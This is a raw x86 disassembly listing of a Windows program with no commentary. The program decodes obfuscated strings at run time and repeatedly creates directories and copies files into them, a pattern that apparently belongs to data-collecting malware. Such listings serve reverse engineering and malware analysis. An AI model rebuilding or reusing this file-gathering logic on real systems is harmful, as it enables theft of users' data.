lea ecx, [ebp - 0x620]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x9a0]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x9a0]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x9a0]
call fcn.00402660
lea ecx, [ebp - 0x620]
mov byte [ebp - 4], 0x4a
call fcn.00402660
movaps xmm0, xmmword [0x524c90]
lea ecx, [ebp - 0x43d]
movups xmmword [ebp - 0x43d], xmm0
mov word [ebp - 0x42d], 0x66
mov byte [ebp - 0x42b], 1
call fcn.0040a670
push eax
lea ecx, [ebp - 0xb08]
call fcn.00402700
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x7c0]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0xb08]
mov byte [ebp - 4], 0x50
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x7c0]
mov ecx, esp
push eax
call fcn.00464ec0
call fcn.0040b940
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x18
test al, al
je 0x41240c
lea ecx, [ebp - 0xb1]
mov dword [ebp - 0xb1], 0x839fb7a8
mov dword [ebp - 0xad], 0x889c90
mov byte [ebp - 0xa9], 1
call fcn.0040b3b0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x518]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x518]
mov byte [ebp - 4], 0x51
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x412351
push 0
lea ecx, [ebp - 0x518]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x4123fd
lea ecx, [ebp - 0x192]
mov dword [ebp - 0x192], 0x839f97a8
mov dword [ebp - 0x18e], 0xd5889c90
mov dword [ebp - 0x18a], 0x1009f98
call fcn.0040e8e0
push eax
lea edx, [ebp - 0x518]
lea ecx, [ebp - 0xb20]
call fcn.00468c00
add esp, 4
mov ecx, eax
call fcn.004027a0
lea ecx, [ebp - 0x7c0]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0xb20]
mov esi, eax
call fcn.00402660
test esi, esi
je 0x4123bf
mov byte [edi], 1
jmp 0x4123f7
lea ecx, [ebp - 0x518]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x9b8]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x9b8]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x9b8]
call fcn.00402660
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x518]
mov byte [ebp - 4], 0x50
call fcn.00402660
movaps xmm0, xmmword [0x524970]
lea ecx, [ebp - 0x342]
movups xmmword [ebp - 0x342], xmm0
mov dword [ebp - 0x332], 0x73636968
mov word [ebp - 0x32e], 0x7b
mov byte [ebp - 0x32c], 1
call fcn.0040a240
push eax
lea ecx, [ebp - 0xb38]
call fcn.00402700
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x7a8]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0xb38]
mov byte [ebp - 4], 0x55
call fcn.00402660
lea ecx, [ebp - 0x7a8]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x412592
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x208], 0x929ab0a8
mov dword [ebp - 0x204], 0x94888d9b
mov dword [ebp - 0x200], 0x8c9fbe92
mov word [ebp - 0x1fc], 0x68
mov byte [ebp - 0x1fa], 1
call fcn.0040a210
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x530]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x56
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x412506
push 0
lea ecx, [ebp - 0x530]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x412583
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x530]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x57
lea eax, [ebp - 0x7a8]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0x56
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x41254b
mov byte [edi], 1
jmp 0x412583
lea ecx, [ebp - 0x530]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x9d0]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x9d0]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x9d0]
call fcn.00402660
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x55
call fcn.00402660
movaps xmm0, xmmword [0x525010]
lea ecx, [ebp - 0x2cc]
movups xmmword [ebp - 0x2cc], xmm0
mov dword [ebp - 0x2bc], 0x6d286076
mov dword [ebp - 0x2b8], 0x64667b
mov byte [ebp - 0x2b4], 1
call fcn.00461e40
push dword [ebp - 0x10]
lea ecx, [ebp - 0x718]
call fcn.004027f0
lea ecx, [ebp - 0x2cc]
mov byte [ebp - 4], 0x59
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4125e1
sub ecx, edx
lea eax, [ebp - 0x2cc]
push ecx
push eax
lea ecx, [ebp - 0x718]
call fcn.00402810
lea eax, [ebp - 0x718]
mov byte [ebp - 4], 0x5a
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x790]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x718]
mov byte [ebp - 4], 0x5c
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x790]
mov ecx, esp
push eax
call fcn.00464ec0
call fcn.0040b940
add esp, 0x18
test al, al
je 0x41276a
lea ecx, [ebp - 0x136]
mov dword [ebp - 0x136], 0x999fb7a8
mov dword [ebp - 0x132], 0x9e999799
mov word [ebp - 0x12e], 0x100
call fcn.0040e8b0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x548]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x5d
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x4126b8
push 0
lea ecx, [ebp - 0x548]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x41275b
movaps xmm0, xmmword [0x523e30]
lea ecx, [ebp - 0x69d]
movups xmmword [ebp - 0x69d], xmm0
mov byte [ebp - 0x68d], 1
call fcn.0040e880
push eax
lea edx, [ebp - 0x548]
lea ecx, [ebp - 0xb50]
call fcn.00468c00
add esp, 4
mov ecx, eax
call fcn.004027a0
lea ecx, [ebp - 0x790]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0xb50]
mov esi, eax
call fcn.00402660
test esi, esi
je 0x41271d
mov byte [edi], 1
jmp 0x412755
lea ecx, [ebp - 0x548]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x9e8]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x9e8]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0x9e8]
call fcn.00402660
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x5c
call fcn.00402660
movaps xmm0, xmmword [0x5256a0]
lea ecx, [ebp - 0x417]
movups xmmword [ebp - 0x417], xmm0
mov word [ebp - 0x407], 0x77
mov byte [ebp - 0x405], 1
call fcn.0040a670
push eax
lea ecx, [ebp - 0xb68]
call fcn.00402700
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x778]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0xb68]
mov byte [ebp - 4], 0x61
call fcn.00402660
lea ecx, [ebp - 0x778]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x4128dc
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0x9f82b0a8
mov dword [ebp - 0x148], 0x8e9f8b9d
mov word [ebp - 0x144], 0x91
mov byte [ebp - 0x142], 1
call fcn.0040a0a0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x560]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x560]
mov byte [ebp - 4], 0x62
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x412850
push 0
lea ecx, [ebp - 0x560]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x4128cd
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x560]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x63
lea eax, [ebp - 0x778]
mov ecx, esp
push eax
call fcn.00464ec0
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0x62
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x412895
mov byte [edi], 1
jmp 0x4128cd
lea ecx, [ebp - 0x560]
call fcn.004027a0
push eax
lea ecx, [ebp - 0xa00]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0xa00]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0xa00]
call fcn.00402660
lea ecx, [ebp - 0x560]
mov byte [ebp - 4], 0x61
call fcn.00402660
lea ecx, [ebp - 0x25]
mov dword [ebp - 0x25], 0x9683b2a8
mov dword [ebp - 0x21], 0x9b9d8a
mov byte [ebp - 0x1d], 1
call fcn.00462080
push dword [ebp - 0x10]
lea ecx, [ebp - 0x730]
call fcn.004027f0
lea ecx, [ebp - 0x25]
mov byte [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412910
sub ecx, edx
lea eax, [ebp - 0x25]
push ecx
push eax
lea ecx, [ebp - 0x730]
call fcn.00402810
lea eax, [ebp - 0x730]
mov byte [ebp - 4], 0x66
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x374]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x730]
mov byte [ebp - 4], 0x68
call fcn.00402660
lea ecx, [ebp - 0x374]
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
je 0x412eb7
lea ecx, [ebp - 0xba]
mov dword [ebp - 0xba], 0x9683b2a8
mov dword [ebp - 0xb6], 0x9b9d8a
mov byte [ebp - 0xb2], 1
call fcn.0040b3b0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x404]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x404]
mov byte [ebp - 4], 0x69
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x4129db
push 0
lea ecx, [ebp - 0x404]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x412ea8
lea ecx, [ebp - 0x19e]
mov dword [ebp - 0x19e], 0x9398bca8
mov dword [ebp - 0x19a], 0x9f9f819d
mov dword [ebp - 0x196], 0x100bfb8
call fcn.0040e8e0
push eax
lea edx, [ebp - 0x374]
lea ecx, [ebp - 0xb80]
call fcn.00468c00
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x6a
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
lea ecx, [ebp - 0xb80]
mov byte [ebp - 4], 0x69
mov bl, al
call fcn.00402660
test bl, bl
je 0x412b71
lea ecx, [ebp - 0x1aa]
mov dword [ebp - 0x1aa], 0x9398bca8
mov dword [ebp - 0x1a6], 0x9f9f819d
mov dword [ebp - 0x1a2], 0x100bfb8
call fcn.0040e8e0
push eax
lea edx, [ebp - 0x404]
lea ecx, [ebp - 0x578]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 0x6b
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x412ab4
push 0
lea ecx, [ebp - 0x578]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x412b62
sub esp, 0x18
lea eax, [ebp - 0x578]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x1b6]
mov dword [ebp - 0x1b6], 0x9398bca8
mov dword [ebp - 0x1b2], 0x9f9f819d
mov esi, esp
mov dword [ebp - 0x1ae], 0x100bfb8
call fcn.0040e8e0
push eax
lea edx, [ebp - 0x374]
mov ecx, esi
call fcn.00468c00
add esp, 4
mov byte [ebp - 4], 0x6b
mov cl, bl
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x412b24
mov byte [edi], 1
jmp 0x412b5c
lea ecx, [ebp - 0x578]
call fcn.004027a0
push eax
lea ecx, [ebp - 0xa18]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0xa18]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0xa18]
call fcn.00402660
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 0x69
call fcn.00402660
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x248], 0x9499b9a8
mov dword [ebp - 0x244], 0xa8da9599
mov dword [ebp - 0x240], 0x9e8c9288
mov dword [ebp - 0x23c], 0x1006467
call fcn.0040ea30
push eax
lea edx, [ebp - 0x374]
lea ecx, [ebp - 0xb98]
call fcn.00468c00
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x6e
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
lea ecx, [ebp - 0xb98]
mov byte [ebp - 4], 0x69
mov bl, al
call fcn.00402660
test bl, bl
je 0x412d25
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x258], 0x9499b9a8
mov dword [ebp - 0x254], 0xa8da9599
mov dword [ebp - 0x250], 0x9e8c9288
mov dword [ebp - 0x24c], 0x1006467
call fcn.0040ea30
push eax
lea edx, [ebp - 0x404]
lea ecx, [ebp - 0x590]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x590]
mov byte [ebp - 4], 0x6f
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x412c5e
push 0
lea ecx, [ebp - 0x590]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x412d16
sub esp, 0x18
lea eax, [ebp - 0x590]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x268]
sub esp, 0x18
mov dword [ebp - 0x268], 0x9499b9a8
mov dword [ebp - 0x264], 0xa8da9599
mov esi, esp
mov dword [ebp - 0x260], 0x9e8c9288
mov dword [ebp - 0x25c], 0x1006467
call fcn.0040ea30
push eax
lea edx, [ebp - 0x374]
mov ecx, esi
call fcn.00468c00
add esp, 4
mov byte [ebp - 4], 0x6f
mov cl, bl
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x412cd8
mov byte [edi], 1
jmp 0x412d10
lea ecx, [ebp - 0x590]
call fcn.004027a0
push eax
lea ecx, [ebp - 0xa30]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xa30]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0xa30]
call fcn.00402660
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x590]
mov byte [ebp - 4], 0x69
call fcn.00402660
movaps xmm0, xmmword [0x524ad0]
lea ecx, [ebp - 0x632]
movups xmmword [ebp - 0x632], xmm0
mov word [ebp - 0x622], 0x100
call fcn.0040e850
push eax
lea edx, [ebp - 0x374]
lea ecx, [ebp - 0xbb0]
call fcn.00468c00
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x72
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
lea ecx, [ebp - 0xbb0]
mov byte [ebp - 4], 0x69
mov bl, al
call fcn.00402660
test bl, bl
je 0x412ea2
movaps xmm0, xmmword [0x524ad0]
lea ecx, [ebp - 0x644]
movups xmmword [ebp - 0x644], xmm0
mov word [ebp - 0x634], 0x100
call fcn.0040e850
push eax
lea edx, [ebp - 0x404]
lea ecx, [ebp - 0x5a8]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 4], 0x73
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x412df0
push 0
lea ecx, [ebp - 0x5a8]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x412e97
sub esp, 0x18
lea eax, [ebp - 0x5a8]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x656]
movaps xmm0, xmmword [0x524ad0]
sub esp, 0x18
movups xmmword [ebp - 0x656], xmm0
mov word [ebp - 0x646], 0x100
mov esi, esp
call fcn.0040e850
push eax
lea edx, [ebp - 0x374]
mov ecx, esi
call fcn.00468c00
add esp, 4
mov byte [ebp - 4], 0x73
mov cl, bl
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x412e59
mov byte [edi], 1
jmp 0x412e91
lea ecx, [ebp - 0x5a8]
call fcn.004027a0
push eax
lea ecx, [ebp - 0xa48]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0xa48]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0xa48]
call fcn.00402660
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x5a8]
call fcn.00402660
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x404]
mov byte [ebp - 4], 0x68
call fcn.00402660
movaps xmm0, xmmword [0x524ec0]
lea ecx, [ebp - 0x2b3]
movups xmmword [ebp - 0x2b3], xmm0
mov dword [ebp - 0x2a3], 0x62616a60
mov dword [ebp - 0x29f], 0x676b7e26
mov dword [ebp - 0x29b], 0x7a6860
mov byte [ebp - 0x297], 1
call fcn.00461e70
push dword [ebp - 0x10]
lea ecx, [ebp - 0x748]
call fcn.004027f0
lea ecx, [ebp - 0x2b3]
mov byte [ebp - 4], 0x76
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412f10
sub ecx, edx
lea eax, [ebp - 0x2b3]
push ecx
push eax
lea ecx, [ebp - 0x748]
call fcn.00402810
lea eax, [ebp - 0x748]
mov byte [ebp - 4], 0x77
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x760]
call fcn.00468d20
add esp, 4
lea ecx, [ebp - 0x748]
mov byte [ebp - 4], 0x79
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x760]
mov ecx, esp
push eax
call fcn.00464ec0
call fcn.0040b940
add esp, 0x18
test al, al
je 0x41309d
lea ecx, [ebp - 0x1c2]
mov dword [ebp - 0x1c2], 0x9b83b8a8
mov dword [ebp - 0x1be], 0x94be908c
mov dword [ebp - 0x1ba], 0x100989b
call fcn.0040e8e0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5c0]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0x7a
call fcn.004027a0
mov ecx, eax
call fcn.0040b9d0
test al, al
jne 0x412fe8
push 0
lea ecx, [ebp - 0x5c0]
call fcn.004027a0
push eax
call esi
test eax, eax
je 0x41308e
movaps xmm0, xmmword [0x524b70]
lea ecx, [ebp - 0x42a]
movups xmmword [ebp - 0x42a], xmm0
mov word [ebp - 0x41a], 0x70
mov byte [ebp - 0x418], 1
call fcn.0040a670
push eax
lea edx, [ebp - 0x5c0]
lea ecx, [ebp - 0xbc8]
call fcn.00468c00
add esp, 4
mov ecx, eax
call fcn.004027a0
lea ecx, [ebp - 0x760]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0xbc8]
mov esi, eax
call fcn.00402660
test esi, esi
je 0x413056
mov byte [edi], 1
jmp 0x41308e
lea ecx, [ebp - 0x5c0]
call fcn.004027a0
push eax
lea ecx, [ebp - 0xa60]
call fcn.00402700
push 0
mov dl, 1
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0xa60]
call fcn.0040ba90
add esp, 4
lea ecx, [ebp - 0xa60]
call fcn.00402660
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0x79
call fcn.00402660
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0xc3]
mov dword [ebp - 0xc3], 0x94829cb6
mov dword [ebp - 0xbf], 0x949097
mov esi, esp
mov byte [ebp - 0xbb], 1
call fcn.0040b3b0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0xfa]
mov dword [ebp - 0xfa], 0x92919ab0
mov dword [ebp - 0xf6], 0x9593969b
mov esi, esp
mov word [ebp - 0xf2], 0x100
call fcn.0040e8b0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], 0x99999bb5
mov dword [ebp - 0x100], 0x9593969b
mov esi, esp
mov word [ebp - 0xfc], 0x100
call fcn.0040e8b0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0xb4a7b7b6
mov dword [ebp - 0xc8], 0x949097
mov esi, esp
mov byte [ebp - 0xc4], 1
call fcn.0040b3b0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x10e]
mov dword [ebp - 0x10e], 0x9f8594b0
mov dword [ebp - 0x10a], 0x9e8896bb
mov esi, esp
mov word [ebp - 0x106], 0x100
call fcn.0040e8b0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x1ce]
mov dword [ebp - 0x1ce], 0x859999b2
mov dword [ebp - 0x1ca], 0x94999791
mov esi, esp
mov dword [ebp - 0x1c6], 0x1009395
call fcn.0040e8e0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x75]
mov dword [ebp - 0x75], 0x999787b2
mov dword [ebp - 0x71], 0x1009693
mov esi, esp
call fcn.0040ff60
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x118], 0x9e9387b2
mov dword [ebp - 0x114], 0x9593969b
mov esi, esp
mov word [ebp - 0x110], 0x100
call fcn.0040e8b0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x278]
sub esp, 0x18
mov dword [ebp - 0x278], 0x939a9ab3
mov dword [ebp - 0x274], 0x959396bb
mov esi, esp
mov dword [ebp - 0x270], 0xb3b9d5dc
mov dword [ebp - 0x26c], 0x1002844
call fcn.0040ea30
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x8d]
mov dword [ebp - 0x8d], 0x98b5babd
mov dword [ebp - 0x89], 0x1009791
mov esi, esp
call fcn.0040ff60
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x1ea]
sub esp, 0x18
mov dword [ebp - 0x1ea], 0x9e909bbd
mov dword [ebp - 0x1e6], 0x9e8e9096
mov esi, esp
mov dword [ebp - 0x1e2], 0x9197929f
mov word [ebp - 0x1de], 0x100
call fcn.0040e910
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x87
sub esp, 0x18
mov dword [ebp - 0x7d], 0x98958dbd
mov esi, esp
mov dword [ebp - 0x79], 0x1009791
lea ecx, [ebp - 0x7d]
call fcn.0040ff60
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x66]
mov dword [ebp - 0x66], 0x969190b9
mov dword [ebp - 0x62], 0x9593969b
mov word [ebp - 0x5e], 0x100
call fcn.00461f90
sub esp, 0x18
lea eax, [ebp - 0x66]
mov ecx, esp
push eax
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0xd5]
mov dword [ebp - 0xd5], 0x94989cb9
mov dword [ebp - 0xd1], 0x949097
mov esi, esp
mov byte [ebp - 0xcd], 1
call fcn.0040b3b0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x122]
mov dword [ebp - 0x122], 0x929b94ba
mov dword [ebp - 0x11e], 0x9593969b
mov esi, esp
mov word [ebp - 0x11a], 0x100
call fcn.0040e8b0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x8b
mov dword [ebp - 0x157], 0x9a9f87a4
mov dword [ebp - 0x153], 0x92959a9d
sub esp, 0x18
mov word [ebp - 0x14f], 0x92
lea ecx, [ebp - 0x157]
mov byte [ebp - 0x14d], 1
mov esi, esp
call fcn.0040a0a0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x162]
sub esp, 0x18
mov dword [ebp - 0x162], 0x858490a0
mov dword [ebp - 0x15e], 0x92959a99
mov esi, esp
mov word [ebp - 0x15a], 0x92
mov byte [ebp - 0x158], 1
call fcn.0040a0a0
push eax
mov ecx, esi
call fcn.00402700
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040ff90
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00464ec0
sub esp, 0x18
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x85]
mov dword [ebp - 0x85], 0x98b5b4ad
mov dword [ebp - 0x81], 0x1009791
mov esi, esp
